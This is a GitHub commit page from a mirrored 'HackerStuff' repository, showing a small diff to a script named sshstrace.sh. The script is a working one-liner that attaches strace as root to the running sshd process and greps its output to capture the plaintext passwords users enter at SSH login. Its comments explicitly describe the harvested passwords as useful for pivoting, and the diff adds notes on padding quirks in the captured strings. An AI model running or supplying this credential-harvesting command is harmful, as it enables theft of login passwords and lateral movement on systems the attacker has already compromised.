weyne/HackerStuff
1
0
Fork 0
mirror of https://github.com/0xdade/HackerStuff.git synced 2025-10-29 16:59:27 +00:00
Code Issues Packages Projects Releases Wiki Activity

Update sshstrace.sh

Browse Source
This commit is contained in:
dade 2017-07-22 18:05:45 -07:00 committed by GitHub
parent 2148ab4df6
commit de6060d458
1 changed files with 2 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

3
Get-Passwords/sshstrace.sh
View File

@ -2,7 +2,8 @@
#
# In a facepalm revelation, it has come to my attention that you can use strace as root to collect passwords from sshd
# Passwords are useful for pivoting and can be significantly faster than cracking /etc/shadow
# If the password is longer than 8 characters and odd-length, some padding byte appears to be inserted at the front
# 9 characters gets padded to 10 characters. 13 characters get padded to 14.
# I've seen padding with 'r' and 't' so far
#
strace -s 64 -fp `cat /var/run/sshd.pid` 2>&1 | grep --line-buffered -Eo 'write\(4, "\\0\\0\\0\\[0-9]*[^\]{2,}[^\\0]"' | sed -e 's/write(4, "\\0\\0\\0\\[0-9]*\(.*\)"/\1/g'